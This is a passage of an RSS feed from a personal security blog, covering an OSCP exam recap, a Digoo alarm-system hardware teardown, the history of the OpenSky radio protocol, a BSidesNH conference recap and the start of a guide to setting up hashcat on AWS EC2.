&lt;p&gt;One of the first questions people ask is if I did the Lab report. I decided not to do the Lab report, it only worth 5 points, and I did not find that the time to create the report was worth it for me. However, I did write a mock report to practice ahead of the Exam. The made sure that my first Exam reporting experience was not during the Exam when I would be exhausted.&lt;/p&gt;
&lt;p&gt;When it comes to my Exam report, I started my report after I had finished my Exam but has not closed out with my proctor and start to create a very very very rough document with the screenshots and other content. I did this to make sure I had satisfied all of the requirements and it would let me go back and recreate or regather any Proofs I may have missed. After I thought I had everything and the adrenalin had started to wear off I went to sleep and got started the next day and finished the document throughout the next day.&lt;/p&gt;
&lt;h2 id=&#34;in-closing&#34;&gt;In Closing&lt;/h2&gt;
&lt;p&gt;&lt;img src=&#34;https://i1.wp.com/ben.the-collective.net/wp-content/uploads/2019/09/digoo_-1.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The OSCP was a great experience and very challenging&lt;/li&gt;
&lt;li&gt;There is a lot to learn&lt;/li&gt;
&lt;li&gt;Make sure significant people in your life understand the time commitment&lt;/li&gt;
&lt;li&gt;ABL, Always Be Labbing&lt;/li&gt;
&lt;li&gt;Have fun, good luck, and #tryharder&lt;/li&gt;
&lt;/ul&gt;
</content:encoded>
        <dc:creator>suidroot</dc:creator>
        <media:content url="https://ben.the-collective.net/images/post-images/oscp-certs.png" medium="image"><media:title type="html">featured image</media:title></media:content>
        
        
        
          
            
              <category>certification</category>
            
          
            
              <category>oscp</category>
            
          
        
        
          
            
              <category>Security</category>
            
          
        
        
      </item>
      
      <item>
        <title>Link: Exploring Key Features of Cisco ISE Release 2.6</title>
        <link>https://ben.the-collective.net/posts/2019-09-04-reblog-exploring-key-features-of-cisco-ise-release-2-6/</link>
        <pubDate>Wed, 04 Sep 2019 09:00:51 -0400</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Wed, 04 Sep 2019 09:00:51 -0400</atom:modified>
        <guid>https://ben.the-collective.net/posts/2019-09-04-reblog-exploring-key-features-of-cisco-ise-release-2-6/</guid>
        <description>In July I wrote for the CDW blog about the new version of the Cisco Identity Services Engine (ISE) software.
Exploring Key Features of Cisco ISE Release 2.6
The latest version of this cybersecurity tool offers unique device identification and an IoT protocol.</description>
        <content:encoded>&lt;p&gt;In July I wrote for the CDW blog about the new version of the Cisco Identity Services Engine (ISE) software.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&#34;https://blog.cdw.com/security/exploring-key-features-of-cisco-ise-release-2-6&#34;&gt;Exploring Key Features of Cisco ISE Release 2.6&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;cite&gt;The latest version of this cybersecurity tool offers unique device identification and an IoT protocol.&lt;/cite&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded>
        <dc:creator>suidroot</dc:creator>
        <media:content url="https://ben.the-collective.net/images/post-images/Exploring-Key-Features-of-Cisco-ISE-Release-2.6.png" medium="image"><media:title type="html">featured image</media:title></media:content>
        
        
        
          
            
              <category>cisco</category>
            
          
            
              <category>ise</category>
            
          
            
              <category>link</category>
            
          
            
              <category>reblog</category>
            
          
            
              <category>security</category>
            
          
        
        
          
            
              <category>Security</category>
            
          
        
        
      </item>
      
      <item>
        <title>DIGOO DG-HOSA - Part 1 (Teardown and Hardware)</title>
        <link>https://ben.the-collective.net/posts/2019-08-21-digoo-dg-hosa-part-1-teardown-and-hardware/</link>
        <pubDate>Wed, 21 Aug 2019 09:00:28 -0400</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Wed, 21 Aug 2019 09:00:28 -0400</atom:modified>
        <guid>https://ben.the-collective.net/posts/2019-08-21-digoo-dg-hosa-part-1-teardown-and-hardware/</guid>
        <description>This project started with the idea of purchasing a cheap security system off one of the Chinese stores. After a little hunting, I found Digoo DG HOSA 433MHz 2G&amp;amp;GSM&amp;amp;WIFI Smart Home Security Alarm System Protective Shell Alert with APP which looked interesting so picked one up to tear apart. I was curious about how various communication methods were implemented.
This is the first part of this adventure the next part will be exploring the firmware of the device.</description>
        <content:encoded>&lt;p&gt;&lt;img src=&#34;../2019-08-21-digoo-dg-hosa-part-1-teardown-and-hardware-images/Screen-Shot-2019-07-24-at-20.06.39.png&#34; alt=&#34;Banggood page&#34; /&gt;&lt;br /&gt;
This project started with the idea of purchasing a cheap security system off one of the Chinese stores. After a little hunting, I found &lt;a href=&#34;https://us.banggood.com/Wholesale-Warehouse-Digoo-DG-HOSA-GSMWIFI-Smart-Home-Security-Alarm-Systems-Safeguard-Alert-with-APP-Control-wp-Usa-1161427.html&#34;&gt;Digoo DG HOSA 433MHz 2G&amp;amp;GSM&amp;amp;WIFI Smart Home Security Alarm System Protective Shell Alert with APP&lt;/a&gt; which looked interesting so picked one up to tear apart. I was curious about how various communication methods were implemented.&lt;/p&gt;
&lt;p&gt;This is the first part of this adventure the next part will be exploring the firmware of the device. With that let’s take a look at the hardware.&lt;/p&gt;
&lt;h2 id=&#34;teardown-time&#34;&gt;Teardown Time&lt;/h2&gt;
&lt;p&gt;After the device showed up, I quickly got down to taking the device apart. In my haste, I didn’t take many good photos of it intact. The front side of the board is straight forward; it contains the screen, button array for all user input, and a lot of useful test points. The front side is pictured below.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2019-08-21-digoo-dg-hosa-part-1-teardown-and-hardware-images/IMG_6135.png&#34; alt=&#34;Board Front&#34; /&gt;The most significant information found on the front side of the board is the notation PG-103, which is also found in the firmware (spoiler). After some searching, I found this device is also branded as the &lt;a href=&#34;http://www.pgstsecurity.com/Products/Smart_Home_Alarm_System/WIFI_GSM_3G_dual_network_alarm_system/1.html&#34;&gt;PGST PG-103&lt;/a&gt;. This kind of rebranding of hardware is not unusual for a lot of Chinese devices.&lt;/p&gt;
&lt;p&gt;Now switching to the back of the board, which is the business side of the board with the main chips and modules providing the various communication methods. When opening that device I encountered the intrusion detection button. This button causes the device to go into an alarm mode and require a reset of the device to come back online. For my testing, I bypassed this button bridging both sides of it.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2019-08-21-digoo-dg-hosa-part-1-teardown-and-hardware-images/IMG_6122-markup.png&#34; alt=&#34;Back of Board&#34; /&gt;&lt;/p&gt;
&lt;h2 id=&#34;component-list&#34;&gt;Component List&lt;/h2&gt;
&lt;p&gt;When inspecting the board, I found a few significant components and modules on the board. I was not surprised to see that most of the major communication parts are off the shelf modules. The components listed below are highlighted in the image above and the relevant data sheets where available are linked.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;U2 – 433mhz Receiver: &lt;a href=&#34;http://www.synoxo.com/syne/product.php?flm=6&amp;amp;lm=9&amp;amp;zlm=12&#34;&gt;Synoxo SYN551R&lt;/a&gt; (&lt;a href=&#34;https://support.hkvstar.com/file/SYN500R_SYN510R_SYN520_datasheet.pdf&#34;&gt;datasheet&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;M2 – Cellular module: &lt;a href=&#34;https://fccid.io/XMR201604M26/User-Manual/Users-Manual-3010753.pdf&#34;&gt;Quictel M26&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;M3 – WIFI module: HF-LPB120 (not much good source material on this module)&lt;/li&gt;
&lt;li&gt;U7 – Touch Controller: &lt;a href=&#34;https://www.holtek.com/productdetail/-/vg/bs83bxxA-3-4&#34;&gt;Holtek BS83B16A-3&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;U8 – Main CPU: &lt;a href=&#34;https://www.gigadevice.com/microcontroller/gd32f103rct6/&#34;&gt;Gigadevices GD32F105RCT6&lt;/a&gt; (&lt;a href=&#34;https://datasheet.lcsc.com/szlcsc/GigaDevice-Semicon-Beijing-GD32F105RCT6_C80491.pdf&#34;&gt;datasheet&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The main processor is a GigaDevice GD32 chip which is a series that is very similar to the of STMicroelectronics STM32 chips. The GD32F105 chip uses an ARM-based instruction set and has the same pinout as the STM32F105 component.&lt;/p&gt;
&lt;h2 id=&#34;block-diagram&#34;&gt;Block Diagram&lt;/h2&gt;
&lt;p&gt;The high-level block diagram for the device is pretty straight forward. The GD32F105 chip is the primary processing and control of the external communication modules. This allows for a modular architecture all of the peripherals.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt; +-----------------------+
 |  Cellular             +-----------+
 |  Quictel M26          |           |
 +-----------------------+           |
 +-----------------------+  +--------+-------+
 |  WIFI                 +--+   CPU          |
 |  HF-LPB120-1          |  |   GD32F105RCT6 |
 +-----------------------+  +--------+-+-----+
 +-----------------------+           | |
 |  433mhz receiver      |           | |
 |  SYN511R              +-----------+ |
 +-----------------------+             |
 +-----------------------+             |
 |  Keypad Controller    +-------------+
 |  Holtek BS83B16A-3    |
 +-----------------------+
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id=&#34;pin-out&#34;&gt;Pin Out&lt;/h2&gt;
&lt;p&gt;When exploring the board there are many test points on the board and tracing them out I was able to trace out most of the pins to where they connect on the controller.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SYN515R Pin 10 (DO) -&amp;gt; CPU PB9 (62)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Unknown&lt;/strong&gt; -&amp;gt; CPU PA5&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Unknown&lt;/strong&gt; -&amp;gt; CPU PA6&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Unknown&lt;/strong&gt; -&amp;gt; CPU PA8&lt;/li&gt;
&lt;li&gt;U7 SCL -&amp;gt; &lt;strong&gt;Unknown&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;U7 SDA -&amp;gt; &lt;strong&gt;Unknown&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;DAC_OUT -&amp;gt; CPU PA4 (20)&lt;/li&gt;
&lt;li&gt;WIFI UART TX -&amp;gt; CPU PA2 (16)&lt;/li&gt;
&lt;li&gt;WIFI UART RX -&amp;gt; CPU PA3 (17)&lt;/li&gt;
&lt;li&gt;GSM UART TX -&amp;gt; CPU PA12 (45)&lt;/li&gt;
&lt;li&gt;GSM UART RX -&amp;gt; CPU PA13 (46)&lt;/li&gt;
&lt;li&gt;U1 (F117) Pin 6 -&amp;gt; CPU PB 8&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;summary&#34;&gt;Summary?&lt;/h2&gt;
&lt;p&gt;After investigating the hardware I was able to extract the firmware and start the reversing process. I will cover what I have found in future posts. For now, if you are interested in more higher resolution photos of the board I have posted them on my &lt;a href=&#34;https://www.flickr.com/photos/su1droot/albums/72157709867098462&#34;&gt;Flickr account&lt;/a&gt;.&lt;/p&gt;
</content:encoded>
        <dc:creator>suidroot</dc:creator>
        <media:content url="https://ben.the-collective.net/images/post-images/DIGOO-DG-HOSA-Part-1-Teardown-and-Hardware.png" medium="image"><media:title type="html">featured image</media:title></media:content>
        
        
        
          
            
              <category>digoo dg-hosa</category>
            
          
            
              <category>rf</category>
            
          
            
              <category>teardown</category>
            
          
            
              <category>hardware</category>
            
          
            
              <category>reverse engineering</category>
            
          
        
        
          
            
              <category>Electronics</category>
            
          
            
              <category>Reverse Engineering</category>
            
          
        
        
      </item>
      
      <item>
        <title>OpenSky Radio Trunking System</title>
        <link>https://ben.the-collective.net/posts/2019-08-07-opensky-radio-trunking-system/</link>
        <pubDate>Wed, 07 Aug 2019 09:00:14 -0400</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Wed, 07 Aug 2019 09:00:14 -0400</atom:modified>
        <guid>https://ben.the-collective.net/posts/2019-08-07-opensky-radio-trunking-system/</guid>
        <description>OpenSky is a proprietary trunking radio that is designed to carry both voice and data traffic. the protocol is marketed as to be secure and private. Opensky operates on the 700, 800, and 900 MHz bands.
OpenSky was originally developed by M/A-Com as part of the Monarch wireless voice and data system for FedEx in the 90s. Later M/A Com was purchased by Tyco Electronics who was then purchased by Harris RF Communications.</description>
        <content:encoded>&lt;p&gt;&lt;img src=&#34;../2019-08-07-opensky-radio-trunking-system-images/Screen-Shot-2019-07-26-at-18.05.36.png&#34; alt=&#34;gqrx capture&#34; /&gt;&lt;br /&gt;
OpenSky is a proprietary trunking radio that is designed to carry both voice and data traffic. the protocol is marketed as to be secure and private. Opensky operates on the 700, 800, and 900 MHz bands.&lt;/p&gt;
&lt;p&gt;OpenSky was originally developed by M/A-Com as part of the &lt;em&gt;Monarch&lt;/em&gt; wireless voice and data system for FedEx in the 90s. Later M/A Com was purchased by Tyco Electronics who was then purchased by Harris RF Communications. Harris has now merged with L3 Technologies to become L3Harris. This protocol has gone on a wild ride of Mergers and Acquisitions for this protocol hasn’t it? The original OpenSky protocol was upgrades in 2010 and named &lt;a href=&#34;https://www.harris.com/press-releases/2010/08/harris-corporation-unveils-next-generation-opensky2-platform&#34;&gt;OpenSky2&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The integrated data capabilities in OpenSky allow for more features in one single base station than voice-only trunking systems. This integration has allowed for dispatchers to have location data for radios in the field and, the ability to send data to terminals in for example police car, and for users log into the handsets pulling down their profile with the various talk groups and other preferences.&lt;/p&gt;
&lt;p&gt;OpenSky and OpenSky2 are TDMA based protocols they have been designed to operate using 25W micro repeaters. Opensky2 introduced support for the 900mhz band and a more narrow bandwidth. The table below lists them out.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;OpenSky&lt;/th&gt;
&lt;th&gt;OpenSky2&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Number of Slots&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Raw bit rate (bps)&lt;/td&gt;
&lt;td&gt;19,200&lt;/td&gt;
&lt;td&gt;9,600&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Channel Width (khz)&lt;/td&gt;
&lt;td&gt;25&lt;/td&gt;
&lt;td&gt;12.5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Frequecy bands&lt;/td&gt;
&lt;td&gt;700 / 800&lt;/td&gt;
&lt;td&gt;700 / 800 / 900&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Released&lt;/td&gt;
&lt;td&gt;1999&lt;/td&gt;
&lt;td&gt;2010&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;a href=&#34;http://www.signalharbor.com/opensky.html&#34;&gt;Signal Harbor&lt;/a&gt; describes there are 3 major components to the OpenSky signaling protocols:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;FMP (Federal Express Mobile Protocol) – Providing Digital Voice&lt;/li&gt;
&lt;li&gt;OCP (OpenSky Communication Protocol)&lt;/li&gt;
&lt;li&gt;OTP (OpenSky Trunking Protocol)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These protocols are based off a modified CDPD (IS-732) similar to a an &lt;a href=&#34;https://en.m.wikipedia.org/wiki/Digital_AMPS&#34;&gt;IS-54 (D-AMPS)&lt;/a&gt; network. I could not find a lot of exact details on lower level protocol operations other then Each radio assigned an IP address.&lt;/p&gt;
&lt;p&gt;Digital voice is encoded using the Advanced Multi-Band Excitation (AMBE) speech encoding standard. This a proprietary standard that was developed by Digital Voice Systems, Inc. Interestingly this standard has been using in the Iridium Network and XM Satellite radio. There are more details on this standard &lt;a href=&#34;https://enacademic.com/dic.nsf/enwiki/4245050&#34;&gt;here &lt;/a&gt;and &lt;a href=&#34;https://www.dvsinc.com/papers/iambe.html&#34;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;This protocol came to my attention while visiting my parents in Oakland County Michigan that has adopted OpenSky as a &lt;a href=&#34;https://urgentcomm.com/2002/03/01/oakland-county-mi-selects-m-a-com-800mhz-network/&#34;&gt;Countywide standard in 2002&lt;/a&gt; for radio communications. &lt;a href=&#34;https://www.oakgov.com/pages/news.aspx#/oakland-county-to-replace-public-safety-communications-system&#34;&gt;Oakland county like many other areas is now replacing their OpenSky systems with a P25 system&lt;/a&gt;. Many of the large deployments have run into issues, for example, the State of Pennsylvania has had many issues and is replacing the system with a &lt;a href=&#34;https://www.psp.pa.gov/About%20Us/Pages/pastarnet.aspx&#34;&gt;P25 Phase II system&lt;/a&gt;. The State of New York has had an OpenSky deployment which has run into many issues which are detailed in the &lt;a href=&#34;https://en.wikipedia.org/wiki/OpenSky&#34;&gt;OpenSky Wikipedia article&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I found this protocol interesting because, like most technology, it’s a product of it’s time. In this case OpenSky comes from a time before the pervasive presence of 4G/LTE wireless. Today you can accomplish many of the same goals as a OpenSky system by utilizing the current carrier LTE networks.&lt;/p&gt;
&lt;p&gt;Below is a list of resources I used when researching this protocol:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Audio Capture of a System: &lt;a href=&#34;https://ben.the-collective.net/misc-files/opensky-30secclip.wav&#34;&gt;OpenSky Capture&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Archive of PDFs: &lt;a href=&#34;http://ben.the-collective.net/opensky-files/&#34;&gt;http://ben.the-collective.net/opensky-files/&lt;/a&gt;&lt;br /&gt;
&lt;a href=&#34;https://en.m.wikipedia.org/wiki/OpenSky&#34;&gt;https://en.m.wikipedia.org/wiki/OpenSky&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://www.signalharbor.com/opensky.html&#34;&gt;http://www.signalharbor.com/opensky.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.rfwireless-world.com/Tutorials/Opensky-radio-system.html&#34;&gt;https://www.rfwireless-world.com/Tutorials/Opensky-radio-system.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://wiki.radioreference.com/index.php/OpenSky&#34;&gt;http://wiki.radioreference.com/index.php/OpenSky&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://the-eye.eu/public/Books/Electronic%20Archive/OpenskyRadioSystems.pdf&#34;&gt;https://the-eye.eu/public/Books/Electronic%20Archive/OpenskyRadioSystems.pdf&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.harris.com/product-line/opensky-digital-radio-network&#34;&gt;https://www.harris.com/product-line/opensky-digital-radio-network&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.sigidwiki.com/wiki/OpenSky&#34;&gt;https://www.harris.com/press-releases/2010/08/harris-corporation-unveils-next-generation-opensky2-platform &lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded>
        <dc:creator>Ben Mason</dc:creator>
        <media:content url="https://ben.the-collective.net/images/post-images/OpenSky-Radio-Trunking-System.png" medium="image"><media:title type="html">featured image</media:title></media:content>
        
        
        
          
            
              <category>opensky</category>
            
          
            
              <category>radio trunking</category>
            
          
            
              <category>rf</category>
            
          
        
        
          
            
              <category>RF</category>
            
          
            
              <category>Reverse Engineering</category>
            
          
        
        
      </item>
      
      <item>
        <title>Link: Enhancing Password Security Through Memorized Secrets</title>
        <link>https://ben.the-collective.net/posts/2019-07-31-link-enhancing-password-security-through-memorized-secrets/</link>
        <pubDate>Wed, 31 Jul 2019 09:00:20 -0400</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Wed, 31 Jul 2019 09:00:20 -0400</atom:modified>
        <guid>https://ben.the-collective.net/posts/2019-07-31-link-enhancing-password-security-through-memorized-secrets/</guid>
        <description>In March I posted the following article on CDW blog
Enhancing Password Security Through Memorized Secrets
Revisiting NIST recommendations provides some essential techniques for protecting your organization’s accounts</description>
        <content:encoded>&lt;p&gt;In March I posted the following article on CDW blog&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&#34;https://blog.cdw.com/security/enhancing-password-security-through-memorized-secrets&#34;&gt;Enhancing Password Security Through Memorized Secrets&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Revisiting NIST recommendations provides some essential techniques for protecting your organization’s accounts&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded>
        <dc:creator>suidroot</dc:creator>
        <media:content url="https://ben.the-collective.net/images/post-images/Enhancing-Password-Security-Through-Memorized-Secrets1.png" medium="image"><media:title type="html">featured image</media:title></media:content>
        
        
        
          
            
              <category>nist</category>
            
          
            
              <category>passwords</category>
            
          
            
              <category>reblog</category>
            
          
            
              <category>security</category>
            
          
        
        
          
            
              <category>Security</category>
            
          
        
        
      </item>
      
      <item>
        <title>BSidesNH 2019 Recap</title>
        <link>https://ben.the-collective.net/posts/2019-07-24-bsidesnh-2019-recap/</link>
        <pubDate>Wed, 24 Jul 2019 09:00:27 -0400</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Wed, 24 Jul 2019 09:00:27 -0400</atom:modified>
        <guid>https://ben.the-collective.net/posts/2019-07-24-bsidesnh-2019-recap/</guid>
        <description>Back on May 18th, I attended the inaugural BsidesNH event. It was a fantastic one-day event. The day started pretty early for me driving down from Maine arriving at Southern NH University. I arrived to pick up the fantastic badge made out of an old 3.5″ disk. After grabbing some coffee and a snack I settled into the auditorium and for a day of great talks. There were a few that stood out to me from the day that I will talk about.</description>
        <content:encoded>&lt;p&gt;&lt;img src=&#34;../2019-07-24-bsidesnh-2019-recap-images/bsidesnh_-1.png&#34; alt=&#34;Badge&#34; /&gt;&lt;br /&gt;
Back on May 18th, I attended the inaugural &lt;a href=&#34;http://www.bsidesnh.com/&#34; title=&#34;BsidesNH&#34;&gt;BsidesNH&lt;/a&gt; event. It was a fantastic one-day event. The day started pretty early for me driving down from Maine arriving at Southern NH University. I arrived to pick up the fantastic badge made out of an old 3.5″ disk. After grabbing some coffee and a snack I settled into the auditorium and for a day of great talks. There were a few that stood out to me from the day that I will talk about.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2019-07-24-bsidesnh-2019-recap-images/bsidesnh_-4.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
The second talk of the day was &lt;strong&gt;Ghost in the Shell: When AppSec Goes Wrong&lt;/strong&gt; by &lt;a href=&#34;https://twitter.com/0xTony&#34;&gt;Tony Martin&lt;/a&gt;. Tony first talked about covered some basics of web application security. He framed these issues around the research he has done into various NAS devices and vulnerabilities he has discovered. Including the ability to create shadow users that have administrative access to devices but are not visible through the administrative interfaces of the device.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2019-07-24-bsidesnh-2019-recap-images/bsidesnh_-9.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
After lunch was &lt;strong&gt;Chinese and Russian Hacking Communities&lt;/strong&gt; presented by &lt;a href=&#34;https://www.linkedin.com/in/winnonadesombre/&#34;&gt;Winnona DeSombre&lt;/a&gt; and Dan Byrnes, Intelligence Analyst from Recorded Future. They covered operations and cultures of Chinese and Russian underground groups. This was a very entertaining presentation and a summary of the information contained in the report: &lt;a href=&#34;https://www.recordedfuture.com/russian-chinese-hacking-communities/&#34;&gt;Thieves and Geeks: Russian and Chinese Hacking Communities&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2019-07-24-bsidesnh-2019-recap-images/bsidesnh_-12.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
The second to last talk of the day was &lt;strong&gt;Hunting for Lateral Movement: Offense, Defense, and Corgis&lt;/strong&gt; presented by &lt;a href=&#34;https://github.com/Sonofagl1tch&#34;&gt;Ryan Nolett&lt;/a&gt;&lt;em&gt;&lt;a href=&#34;https://github.com/Sonofagl1tch&#34;&gt;e&lt;/a&gt;&lt;/em&gt;. He covered the ways attackers move around and infiltrate further into a network…Corgies. A great quote that stuck with me from his talk was: “If you teach an analyst how to think they will punch above their weight.” I feel this quote not only applies to security analysts but all levels of IT professionals.&lt;/p&gt;
&lt;p&gt;BsidesNH was a well run and enjoyable event and a great addition to the Security events in New England. Thanks to all of the organizers and sponsors. I look forward to attending next year!&lt;/p&gt;
</content:encoded>
        <dc:creator>suidroot</dc:creator>
        <media:content url="https://ben.the-collective.net/images/post-images/BSidesNH-2019-Recap.png" medium="image"><media:title type="html">featured image</media:title></media:content>
        
        
        
          
            
              <category>bsidesnh</category>
            
          
            
              <category>conference</category>
            
          
            
              <category>security</category>
            
          
        
        
          
            
              <category>Security</category>
            
          
        
        
      </item>
      
      <item>
        <title>Hashcat in AWS EC2</title>
        <link>https://ben.the-collective.net/posts/2019-07-10-hashcat-in-aws-ec2/</link>
        <pubDate>Wed, 10 Jul 2019 19:00:41 -0400</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Wed, 10 Jul 2019 19:00:41 -0400</atom:modified>
        <guid>https://ben.the-collective.net/posts/2019-07-10-hashcat-in-aws-ec2/</guid>
        <description>Intro During my OSCP studies, I realized I needed a more efficient system for cracking password hashes. The screaming CPU fans and high CPU usage became a problem. I first tried using hashcat and the GPU on my MacBook Pro in OS X. There are some bugs and problems with hashcat on OS X that would make it crash in the middle of cracking a hash. Also, I was not interested in investing a server with a bunch of GPUs, the high costs to do this would outweigh the amount of time I need the system.</description>
        <content:encoded>&lt;h2 id=&#34;intro&#34;&gt;Intro&lt;/h2&gt;
&lt;p&gt;During my OSCP studies, I realized I needed a more efficient system for cracking password hashes. The screaming CPU fans and high CPU usage became a problem. I first tried using hashcat and the GPU on my MacBook Pro in OS X. There are some bugs and problems with hashcat on OS X that would make it crash in the middle of cracking a hash. Also, I was not interested in investing a server with a bunch of GPUs, the high costs to do this would outweigh the amount of time I need the system. All of this lead me to do a little research and found the instructions in the following link to build an AWS instance for password cracking.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&#34;https://medium.com/@iraklis/running-hashcat-v4-0-0-in-amazons-aws-new-p3-16xlarge-instance-e8fab4541e9b&#34;&gt;https://medium.com/@iraklis/running-hashcat-v4-0-0-in-amazons-aws-new-p3-16xlarge-instance-e8fab4541e9b&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Since that post was created there have been some changes to the offerings in AWS EC2 leading me write this post.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;If you wish to skip ahead I have created scripts to automate the processes in the rest of this post. They are both in my github and can be downloaded at the following links.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://github.com/suidroot/AWSScripts/blob/master/aws-ec2-create-kracker.sh&#34;&gt;https://github.com/suidroot/AWSScripts/blob/master/aws-ec2-create-kracker.sh&lt;/a&gt;&lt;br /&gt;
&lt;a href=&#34;https://github.com/suidroot/AWSScripts/blob/master/configure-kracker.sh&#34;&gt;https://github.com/suidroot/AWSScripts/blob/master/configure-kracker.sh&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;For the rest of the article I will cover some of the instance options in EC2, installation of the needed Linux packages, the basic setup of Hashcat, running Hashcat, and finally monitoring and benchmarks of an EC2 instance.&lt;/p&gt;
&lt;h2 id=&#34;aws-ec2-options&#34;&gt;AWS EC2 Options&lt;/h2&gt;
&lt;p&gt;There are many options for EC2 instances, they have a huge range in cost and scale.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;G3 – &lt;a href=&#34;https://aws.amazon.com/ec2/instance-types/g3/&#34;&gt;https://aws.amazon.com/ec2/instance-types/g3/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;P2 – &lt;a href=&#34;https://aws.amazon.com/ec2/instance-types/p2/&#34;&gt;https://aws.amazon.com/ec2/instance-types/p2/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I found the g3 instances to be the more cost effective tier. For my testing I opted to use the &lt;strong&gt;g3.4xlarge&lt;/strong&gt; tier. Next to choose the AMI image, appropriate the appropriate operating system.&lt;/p&gt;
&lt;h3 id=&#34;ami-images&#34;&gt;AMI images&lt;/h3&gt;
&lt;p&gt;There are two options that are I tested hashcat on they are both Ubuntu based. I’m sure there are many other available options that will work too, but I am familiar with Ubuntu systems. The first option is a standard Ubuntu image, there is nothing special about this image and it requires configuration to add the GPU drivers and a little more work.&lt;/p&gt;
&lt;p&gt;![]Standard Ubuntu(&lt;a href=&#34;https://i0.wp.com/ben.the-collective.net/wp-content/uploads/2019/05/ubuntu-std-ami.png)The&#34;&gt;https://i0.wp.com/ben.the-collective.net/wp-content/uploads/2019/05/ubuntu-std-ami.png)The&lt;/a&gt; next option is a Deep Learning image, this image is preconfigured with the GPU drivers and was originally designed for machine learning applications. I found the the pre-configuration allowed for me skip a few steps in building out a new system.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i1.wp.com/ben.the-collective.net/wp-content/uploads/2019/05/ubunutu-deeplern-ami.png&#34; alt=&#34;Deep learning Ubuntu GPU driver preloaded&#34; /&gt;## Instance Build and config&lt;/p&gt;
&lt;p&gt;Once you have the instance deployed there are a few steps to get the Instance prepared for hashcat, the steps are a little bit different between a &lt;strong&gt;Standard&lt;/strong&gt; and a &lt;strong&gt;Deep Learning&lt;/strong&gt; Ubuntu instance.&lt;/p&gt;
&lt;p&gt;An &lt;code&gt;apt&lt;/code&gt; cronjob may already be running and you will have to wait it out.&lt;/p&gt;
&lt;h3 id=&#34;prepare-machine-standard-ubuntu&#34;&gt;Prepare Machine (Standard Ubuntu)&lt;/h3&gt;
